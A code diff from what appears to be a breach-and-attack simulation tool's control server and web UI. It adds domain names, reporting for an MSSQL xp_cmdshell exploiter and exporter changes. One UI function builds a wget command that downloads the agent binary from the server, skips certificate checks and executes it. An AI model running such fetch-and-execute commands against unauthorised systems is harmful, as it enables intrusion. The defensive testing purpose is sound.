|
"default": 1000,
|
||||||
|
"description": "Maximum time (in milliseconds) to wait for ping response"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"options": {
|
||||||
|
"collapsed": True
|
||||||
|
}
|
||||||
|
}
|
|
@ -6,6 +6,7 @@ import cc.services.log
|
||||||
from cc.database import mongo
|
from cc.database import mongo
|
||||||
from cc.services.edge import EdgeService
|
from cc.services.edge import EdgeService
|
||||||
from cc.utils import local_ip_addresses
|
from cc.utils import local_ip_addresses
|
||||||
|
import socket
|
||||||
|
|
||||||
__author__ = "itay.mizeretz"
|
__author__ = "itay.mizeretz"
|
||||||
|
|
||||||
|
@ -41,6 +42,7 @@ class NodeService:
|
||||||
# node is uninfected
|
# node is uninfected
|
||||||
new_node = NodeService.node_to_net_node(node, for_report)
|
new_node = NodeService.node_to_net_node(node, for_report)
|
||||||
new_node["ip_addresses"] = node["ip_addresses"]
|
new_node["ip_addresses"] = node["ip_addresses"]
|
||||||
|
new_node["domain_name"] = node["domain_name"]
|
||||||
|
|
||||||
for edge in edges:
|
for edge in edges:
|
||||||
accessible_from_nodes.append(NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"])))
|
accessible_from_nodes.append(NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"])))
|
||||||
|
@ -62,7 +64,10 @@ class NodeService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_node_label(node):
|
def get_node_label(node):
|
||||||
return node["os"]["version"] + " : " + node["ip_addresses"][0]
|
domain_name = ""
|
||||||
|
if node["domain_name"]:
|
||||||
|
domain_name = " ("+node["domain_name"]+")"
|
||||||
|
return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _cmp_exploits_by_timestamp(exploit_1, exploit_2):
|
def _cmp_exploits_by_timestamp(exploit_1, exploit_2):
|
||||||
|
@ -137,6 +142,7 @@ class NodeService:
|
||||||
"group": NodeService.get_monkey_group(monkey),
|
"group": NodeService.get_monkey_group(monkey),
|
||||||
"os": NodeService.get_monkey_os(monkey),
|
"os": NodeService.get_monkey_os(monkey),
|
||||||
"dead": monkey["dead"],
|
"dead": monkey["dead"],
|
||||||
|
"domain_name": ""
|
||||||
}
|
}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -176,10 +182,11 @@ class NodeService:
|
||||||
upsert=False)
|
upsert=False)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def insert_node(ip_address):
|
def insert_node(ip_address, domain_name=''):
|
||||||
new_node_insert_result = mongo.db.node.insert_one(
|
new_node_insert_result = mongo.db.node.insert_one(
|
||||||
{
|
{
|
||||||
"ip_addresses": [ip_address],
|
"ip_addresses": [ip_address],
|
||||||
|
"domain_name": domain_name,
|
||||||
"exploited": False,
|
"exploited": False,
|
||||||
"creds": [],
|
"creds": [],
|
||||||
"os":
|
"os":
|
||||||
|
@ -191,10 +198,10 @@ class NodeService:
|
||||||
return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id})
|
return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id})
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_or_create_node(ip_address):
|
def get_or_create_node(ip_address, domain_name=''):
|
||||||
new_node = mongo.db.node.find_one({"ip_addresses": ip_address})
|
new_node = mongo.db.node.find_one({"ip_addresses": ip_address})
|
||||||
if new_node is None:
|
if new_node is None:
|
||||||
new_node = NodeService.insert_node(ip_address)
|
new_node = NodeService.insert_node(ip_address, domain_name)
|
||||||
return new_node
|
return new_node
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -261,6 +268,7 @@ class NodeService:
|
||||||
def get_monkey_island_node():
|
def get_monkey_island_node():
|
||||||
island_node = NodeService.get_monkey_island_pseudo_net_node()
|
island_node = NodeService.get_monkey_island_pseudo_net_node()
|
||||||
island_node["ip_addresses"] = local_ip_addresses()
|
island_node["ip_addresses"] = local_ip_addresses()
|
||||||
|
island_node["domain_name"] = socket.gethostname()
|
||||||
return island_node
|
return island_node
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -3,13 +3,14 @@ import functools
|
||||||
|
|
||||||
import ipaddress
|
import ipaddress
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
|
from bson import json_util
|
||||||
from enum import Enum
|
from enum import Enum
|
||||||
|
|
||||||
from six import text_type
|
from six import text_type
|
||||||
|
|
||||||
from cc.database import mongo
|
from cc.database import mongo
|
||||||
from cc.environment.environment import load_env_from_file, AWS
|
from cc.report_exporter_manager import ReportExporterManager
|
||||||
from cc.resources.aws_exporter import AWSExporter
|
|
||||||
from cc.services.config import ConfigService
|
from cc.services.config import ConfigService
|
||||||
from cc.services.edge import EdgeService
|
from cc.services.edge import EdgeService
|
||||||
from cc.services.node import NodeService
|
from cc.services.node import NodeService
|
||||||
|
@ -39,7 +40,8 @@ class ReportService:
|
||||||
'ShellShockExploiter': 'ShellShock Exploiter',
|
'ShellShockExploiter': 'ShellShock Exploiter',
|
||||||
'Struts2Exploiter': 'Struts2 Exploiter',
|
'Struts2Exploiter': 'Struts2 Exploiter',
|
||||||
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
|
'WebLogicExploiter': 'Oracle WebLogic Exploiter',
|
||||||
'HadoopExploiter': 'Hadoop/Yarn Exploiter'
|
'HadoopExploiter': 'Hadoop/Yarn Exploiter',
|
||||||
|
'MSSQLExploiter': 'MSSQL Exploiter'
|
||||||
}
|
}
|
||||||
|
|
||||||
class ISSUES_DICT(Enum):
|
class ISSUES_DICT(Enum):
|
||||||
|
@ -54,7 +56,8 @@ class ReportService:
|
||||||
STRUTS2 = 8
|
STRUTS2 = 8
|
||||||
WEBLOGIC = 9
|
WEBLOGIC = 9
|
||||||
HADOOP = 10
|
HADOOP = 10
|
||||||
PTH_CRIT_SERVICES_ACCESS = 11
|
PTH_CRIT_SERVICES_ACCESS = 11,
|
||||||
|
MSSQL = 12
|
||||||
|
|
||||||
class WARNINGS_DICT(Enum):
|
class WARNINGS_DICT(Enum):
|
||||||
CROSS_SEGMENT = 0
|
CROSS_SEGMENT = 0
|
||||||
|
@ -128,7 +131,8 @@ class ReportService:
|
||||||
list((x['hostname'] for x in
|
list((x['hostname'] for x in
|
||||||
(NodeService.get_displayed_node_by_id(edge['from'], True)
|
(NodeService.get_displayed_node_by_id(edge['from'], True)
|
||||||
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
|
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
|
||||||
'services': node['services']
|
'services': node['services'],
|
||||||
|
'domain_name': node['domain_name']
|
||||||
})
|
})
|
||||||
|
|
||||||
logger.info('Scanned nodes generated for reporting')
|
logger.info('Scanned nodes generated for reporting')
|
||||||
|
@ -148,6 +152,7 @@ class ReportService:
|
||||||
{
|
{
|
||||||
'label': monkey['label'],
|
'label': monkey['label'],
|
||||||
'ip_addresses': monkey['ip_addresses'],
|
'ip_addresses': monkey['ip_addresses'],
|
||||||
|
'domain_name': monkey['domain_name'],
|
||||||
'exploits': list(set(
|
'exploits': list(set(
|
||||||
[ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if
|
[ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if
|
||||||
exploit['result']]))
|
exploit['result']]))
|
||||||
|
@ -328,6 +333,12 @@ class ReportService:
|
||||||
processed_exploit['type'] = 'hadoop'
|
processed_exploit['type'] = 'hadoop'
|
||||||
return processed_exploit
|
return processed_exploit
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def process_mssql_exploit(exploit):
|
||||||
|
processed_exploit = ReportService.process_general_exploit(exploit)
|
||||||
|
processed_exploit['type'] = 'mssql'
|
||||||
|
return processed_exploit
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_exploit(exploit):
|
def process_exploit(exploit):
|
||||||
exploiter_type = exploit['data']['exploiter']
|
exploiter_type = exploit['data']['exploiter']
|
||||||
|
@ -342,7 +353,8 @@ class ReportService:
|
||||||
'ShellShockExploiter': ReportService.process_shellshock_exploit,
|
'ShellShockExploiter': ReportService.process_shellshock_exploit,
|
||||||
'Struts2Exploiter': ReportService.process_struts2_exploit,
|
'Struts2Exploiter': ReportService.process_struts2_exploit,
|
||||||
'WebLogicExploiter': ReportService.process_weblogic_exploit,
|
'WebLogicExploiter': ReportService.process_weblogic_exploit,
|
||||||
'HadoopExploiter': ReportService.process_hadoop_exploit
|
'HadoopExploiter': ReportService.process_hadoop_exploit,
|
||||||
|
'MSSQLExploiter': ReportService.process_mssql_exploit
|
||||||
}
|
}
|
||||||
|
|
||||||
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
|
||||||
|
@ -570,6 +582,7 @@ class ReportService:
|
||||||
PTHReportService.get_duplicated_passwords_issues,
|
PTHReportService.get_duplicated_passwords_issues,
|
||||||
PTHReportService.get_strong_users_on_crit_issues
|
PTHReportService.get_strong_users_on_crit_issues
|
||||||
]
|
]
|
||||||
|
|
||||||
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
|
issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
|
||||||
|
|
||||||
issues_dict = {}
|
issues_dict = {}
|
||||||
|
@ -642,6 +655,8 @@ class ReportService:
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
|
||||||
elif issue['type'] == 'weblogic':
|
elif issue['type'] == 'weblogic':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
|
||||||
|
elif issue['type'] == 'mssql':
|
||||||
|
issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
|
||||||
elif issue['type'] == 'hadoop':
|
elif issue['type'] == 'hadoop':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
|
||||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||||
|
@ -677,9 +692,7 @@ class ReportService:
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def is_report_generated():
|
def is_report_generated():
|
||||||
generated_report = mongo.db.report.find_one({})
|
generated_report = mongo.db.report.find_one({})
|
||||||
if generated_report is None:
|
return generated_report is not None
|
||||||
return False
|
|
||||||
return True
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def generate_report():
|
def generate_report():
|
||||||
|
@ -726,14 +739,29 @@ class ReportService:
|
||||||
'latest_monkey_modifytime': monkey_latest_modify_time
|
'latest_monkey_modifytime': monkey_latest_modify_time
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
ReportService.export_to_exporters(report)
|
ReportExporterManager().export(report)
|
||||||
mongo.db.report.drop()
|
mongo.db.report.drop()
|
||||||
mongo.db.report.insert_one(report)
|
mongo.db.report.insert_one(ReportService.encode_dot_char_before_mongo_insert(report))
|
||||||
|
|
||||||
return report
|
return report
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def encode_dot_char_before_mongo_insert(report_dict):
|
||||||
|
"""
|
||||||
|
mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode
|
||||||
|
,,, combo instead.
|
||||||
|
:return: dict with formatted keys with no dots.
|
||||||
|
"""
|
||||||
|
report_as_json = json_util.dumps(report_dict).replace('.', ',,,')
|
||||||
|
return json_util.loads(report_as_json)
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def is_latest_report_exists():
|
def is_latest_report_exists():
|
||||||
|
"""
|
||||||
|
This function checks if a monkey report was already generated and if it's the latest one.
|
||||||
|
:return: True if report is the latest one, False if there isn't a report or its not the latest.
|
||||||
|
"""
|
||||||
latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1})
|
latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1})
|
||||||
|
|
||||||
if latest_report_doc:
|
if latest_report_doc:
|
||||||
|
@ -743,10 +771,19 @@ class ReportService:
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def decode_dot_char_before_mongo_insert(report_dict):
|
||||||
|
"""
|
||||||
|
this function replaces the ',,,' combo with the '.' char instead.
|
||||||
|
:return: report dict with formatted keys (',,,' -> '.')
|
||||||
|
"""
|
||||||
|
report_as_json = json_util.dumps(report_dict).replace(',,,', '.')
|
||||||
|
return json_util.loads(report_as_json)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_report():
|
def get_report():
|
||||||
if ReportService.is_latest_report_exists():
|
if ReportService.is_latest_report_exists():
|
||||||
return mongo.db.report.find_one()
|
return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one())
|
||||||
return ReportService.generate_report()
|
return ReportService.generate_report()
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -754,16 +791,3 @@ class ReportService:
|
||||||
return mongo.db.edge.count(
|
return mongo.db.edge.count(
|
||||||
{'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}},
|
{'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}},
|
||||||
limit=1) > 0
|
limit=1) > 0
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def get_active_exporters():
|
|
||||||
# This function should be in another module in charge of building a list of active exporters
|
|
||||||
exporters_list = []
|
|
||||||
if str(load_env_from_file()) == AWS:
|
|
||||||
exporters_list.append(AWSExporter)
|
|
||||||
return exporters_list
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def export_to_exporters(report):
|
|
||||||
for exporter in ReportService.get_active_exporters():
|
|
||||||
exporter.handle_report(report)
|
|
||||||
|
|
|
@ -13,11 +13,18 @@ class WMIHandler(object):
|
||||||
self.monkey_id = monkey_id
|
self.monkey_id = monkey_id
|
||||||
self.info_for_mongo = {}
|
self.info_for_mongo = {}
|
||||||
self.users_secrets = user_secrets
|
self.users_secrets = user_secrets
|
||||||
self.users_info = wmi_info['Win32_UserAccount']
|
if not wmi_info:
|
||||||
self.groups_info = wmi_info['Win32_Group']
|
self.users_info = ""
|
||||||
self.groups_and_users = wmi_info['Win32_GroupUser']
|
self.groups_info = ""
|
||||||
self.services = wmi_info['Win32_Service']
|
self.groups_and_users = ""
|
||||||
self.products = wmi_info['Win32_Product']
|
self.services = ""
|
||||||
|
self.products = ""
|
||||||
|
else:
|
||||||
|
self.users_info = wmi_info['Win32_UserAccount']
|
||||||
|
self.groups_info = wmi_info['Win32_Group']
|
||||||
|
self.groups_and_users = wmi_info['Win32_GroupUser']
|
||||||
|
self.services = wmi_info['Win32_Service']
|
||||||
|
self.products = wmi_info['Win32_Product']
|
||||||
|
|
||||||
def process_and_handle_wmi_info(self):
|
def process_and_handle_wmi_info(self):
|
||||||
|
|
||||||
|
@ -25,7 +32,8 @@ class WMIHandler(object):
|
||||||
self.add_users_to_collection()
|
self.add_users_to_collection()
|
||||||
self.create_group_user_connection()
|
self.create_group_user_connection()
|
||||||
self.insert_info_to_mongo()
|
self.insert_info_to_mongo()
|
||||||
self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id)
|
if self.info_for_mongo:
|
||||||
|
self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id)
|
||||||
self.update_admins_retrospective()
|
self.update_admins_retrospective()
|
||||||
self.update_critical_services()
|
self.update_critical_services()
|
||||||
|
|
||||||
|
|
|
@ -29,7 +29,8 @@ class ReportPageComponent extends AuthComponent {
|
||||||
STRUTS2: 8,
|
STRUTS2: 8,
|
||||||
WEBLOGIC: 9,
|
WEBLOGIC: 9,
|
||||||
HADOOP: 10,
|
HADOOP: 10,
|
||||||
PTH_CRIT_SERVICES_ACCESS: 11
|
PTH_CRIT_SERVICES_ACCESS: 11,
|
||||||
|
MSSQL: 12
|
||||||
};
|
};
|
||||||
|
|
||||||
Warning =
|
Warning =
|
||||||
|
@ -104,7 +105,7 @@ class ReportPageComponent extends AuthComponent {
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(res => {
|
.then(res => {
|
||||||
res.edges.forEach(edge => {
|
res.edges.forEach(edge => {
|
||||||
edge.color = edgeGroupToColor(edge.group);
|
edge.color = {'color': edgeGroupToColor(edge.group)};
|
||||||
});
|
});
|
||||||
this.setState({graph: res});
|
this.setState({graph: res});
|
||||||
this.props.onStatusChange();
|
this.props.onStatusChange();
|
||||||
|
@ -341,6 +342,8 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
|
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
|
||||||
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
|
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
|
||||||
<li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null }
|
<li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null }
|
||||||
|
{this.state.report.overview.issues[this.Issue.MSSQL] ?
|
||||||
|
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null }
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
:
|
:
|
||||||
|
@ -412,7 +415,6 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<div>
|
<div>
|
||||||
{this.generateIssues(this.state.report.recommendations.issues)}
|
{this.generateIssues(this.state.report.recommendations.issues)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
@ -867,7 +869,23 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
generateMSSQLIssue(issue) {
|
||||||
|
return(
|
||||||
|
<li>
|
||||||
|
Disable the xp_cmdshell option.
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
The machine <span className="label label-primary">{issue.machine}</span> (<span
|
||||||
|
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
|
||||||
|
className="label label-danger">MSSQL exploit attack</span>.
|
||||||
|
<br/>
|
||||||
|
The attack was made possible because the target machine used an outdated MSSQL server configuration allowing
|
||||||
|
the usage of the xp_cmdshell command. To learn more about how to disable this feature, read <a
|
||||||
|
href="https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-2017">
|
||||||
|
Microsoft's documentation. </a>
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
generateIssue = (issue) => {
|
generateIssue = (issue) => {
|
||||||
let data;
|
let data;
|
||||||
|
@ -935,6 +953,9 @@ class ReportPageComponent extends AuthComponent {
|
||||||
case 'hadoop':
|
case 'hadoop':
|
||||||
data = this.generateHadoopIssue(issue);
|
data = this.generateHadoopIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
case 'mssql':
|
||||||
|
data = this.generateMSSQLIssue(issue);
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
return data;
|
return data;
|
||||||
};
|
};
|
||||||
|
|
|
@ -52,7 +52,7 @@ class RunMonkeyPageComponent extends AuthComponent {
|
||||||
|
|
||||||
generateLinuxCmd(ip, is32Bit) {
|
generateLinuxCmd(ip, is32Bit) {
|
||||||
let bitText = is32Bit ? '32' : '64';
|
let bitText = is32Bit ? '32' : '64';
|
||||||
return `curl -O -k https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
|
return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`
|
||||||
}
|
}
|
||||||
|
|
||||||
generateWindowsCmd(ip, is32Bit) {
|
generateWindowsCmd(ip, is32Bit) {
|
||||||
|
|
|
@ -5,12 +5,17 @@ let renderArray = function(val) {
|
||||||
return <div>{val.map(x => <div>{x}</div>)}</div>;
|
return <div>{val.map(x => <div>{x}</div>)}</div>;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
let renderIpAddresses = function (val) {
|
||||||
|
return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </div>;
|
||||||
|
};
|
||||||
|
|
||||||
const columns = [
|
const columns = [
|
||||||
{
|
{
|
||||||
Header: 'Breached Servers',
|
Header: 'Breached Servers',
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machine', accessor: 'label'},
|
{Header: 'Machine', accessor: 'label'},
|
||||||
{Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderArray(x.ip_addresses)},
|
{Header: 'IP Addresses', id: 'ip_addresses',
|
||||||
|
accessor: x => renderIpAddresses(x)},
|
||||||
{Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}
|
{Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
|
|
|
@ -5,12 +5,17 @@ let renderArray = function(val) {
|
||||||
return <div>{val.map(x => <div>{x}</div>)}</div>;
|
return <div>{val.map(x => <div>{x}</div>)}</div>;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
let renderIpAddresses = function (val) {
|
||||||
|
return <div>{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </div>;
|
||||||
|
};
|
||||||
|
|
||||||
const columns = [
|
const columns = [
|
||||||
{
|
{
|
||||||
Header: 'Scanned Servers',
|
Header: 'Scanned Servers',
|
||||||
columns: [
|
columns: [
|
||||||
{ Header: 'Machine', accessor: 'label'},
|
{ Header: 'Machine', accessor: 'label'},
|
||||||
{ Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderArray(x.ip_addresses)},
|
{ Header: 'IP Addresses', id: 'ip_addresses',
|
||||||
|
accessor: x => renderIpAddresses(x)},
|
||||||
{ Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)},
|
{ Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)},
|
||||||
{ Header: 'Services', id: 'services', accessor: x => renderArray(x.services)}
|
{ Header: 'Services', id: 'services', accessor: x => renderArray(x.services)}
|
||||||
]
|
]
|
||||||
|
|
|
@ -2,4 +2,4 @@
|
||||||
|
|
||||||
cd /var/monkey
|
cd /var/monkey
|
||||||
/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db &
|
/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db &
|
||||||
/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py
|
/var/monkey/monkey_island/bin/python/bin/python monkey_island.py
|
|
@ -1,3 +1,6 @@
|
||||||
|
To get development versions of Monkey Island and Monkey look into deployment scripts folder.
|
||||||
|
If you only want to run the software from source you may refer to the instructions below.
|
||||||
|
|
||||||
How to set up the Monkey Island server:
|
How to set up the Monkey Island server:
|
||||||
|
|
||||||
---------------- On Windows ----------------:
|
---------------- On Windows ----------------:
|
||||||
|
|
|
@ -14,4 +14,5 @@ netifaces
|
||||||
ipaddress
|
ipaddress
|
||||||
enum34
|
enum34
|
||||||
PyCrypto
|
PyCrypto
|
||||||
boto3
|
boto3
|
||||||
|
awscli
|
Loading…
Reference in New Issue